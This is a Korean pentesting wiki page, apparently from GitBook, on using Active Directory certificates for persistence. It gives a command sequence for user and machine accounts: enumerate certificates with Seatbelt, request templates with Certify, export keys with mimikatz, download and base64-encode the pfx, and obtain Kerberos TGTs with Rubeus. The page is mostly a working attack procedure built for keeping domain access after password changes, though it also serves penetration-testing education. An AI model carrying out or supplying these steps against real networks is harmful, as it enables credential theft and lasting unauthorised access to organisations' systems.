펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • WriteOwner
        • GenericAll
        • GenericWrite
        • WriteSPN
        • AddMembers
        • WriteProperty
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • DCSync
      • LSASS
      • Shadow Credentials
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Active Directory Trusts
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
    • Tools
      • Cobalt Strike
      • BloodHound
      • Rubeus
      • Certipy-ad
      • LDAP Search
      • Hydra
      • Hashcat
Powered by GitBook
On this page
  • User Persistence
  • Computer Persistence
  • References

Was this helpful?

Export as PDF
  1. 지속성
  2. Active Directory

Certificate

인증서는 CA에 의해 폐기되거나 만료되지 않는 이상, 비밀번호를 변경한다고 하더라도 유효하게 사용이 가능하며 유효기간은 기본적으로 1년이기 때문에 지속성 공격으로 탁월합니다.

User Persistence

다른 사용자의 Personal Certificate Store에 저장된 인증서는 도메인/로컬 관리자라고 하더라도 열람할 수 없습니다. 인증서는 HKCU\Software\Microsoft\SystemCertificates 키 아래의 시스템 레지스트리에 보관되며 C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\ 하위에 저장될 수도 있습니다.

대상 비콘을 획득한 단계에서 인증서를 열거하기 위해 Seatbelt를 사용할 수 있습니다. 이때 열거된 인증서 중 Client Authentication 용도로 설정된 인증서만이 인증서를 통해 사용자 인증이 가능합니다. 만약 사용자 저장소에 인증서가 없다면 내장된 기본 템플릿인 User 템플릿을 요청할 수 있습니다.

# Seatbelt를 사용한 사용자 인증서 열거
.\Seatbelt.exe Certificates

# 인증서가 없다면 내장된 User 템플릿 요청
.\Certify.exe request /ca:<ca> /template:User

# 인증서 추출
mimikatz crypto::certificates /export

# 인증서 다운로드
download <pfx file>

# 인증서 Base64 포맷으로 변경
cat user.pfx | base64 -w 0

# 인증서를 통한 TGT 요청(패스워드 : mimikatz)
.\Rubeus.exe asktgt /user:<USER> /certificate:<Base64 Encoded pfx> /password:mimikatz /nowrap

Computer Persistence

도메인 사용자 계정의 경우 해당 사용자만이 본인의 저장소에 접근이 가능한 반면, 머신 계정의 저장소는 로컬 관리자만이 접근할 수 있습니다.

# Seatbelt를 사용한 사용자 인증서 열거
.\Seatbelt.exe Certificates

# 인증서가 없다면 내장된 Machine 템플릿 요청
.\Certify.exe request /ca:<ca> /template:Machine /machine

# 인증서 추출
mimikatz !crypto::certificates /systemstore:local_machine /export

# 인증서 다운로드
download <pfx file>

# 인증서 Base64 포맷으로 변경
cat machine.pfx | base64 -w 0

# 인증서를 통한 TGT 요청(패스워드 : mimikatz)
.\Rubeus.exe asktgt /user:<Machine> /enctype:aes256 /certificate:<Base64 Encoded pfx> /password:mimikatz /nowrap

References

PreviousRID HijackingNextLocal

Last updated 20 hours ago

Was this helpful?

AspEncrypt.com - Manage X.509 Certificates and Certificate Stores
Certificate Stores - Windows driversMicrosoftLearn
Logo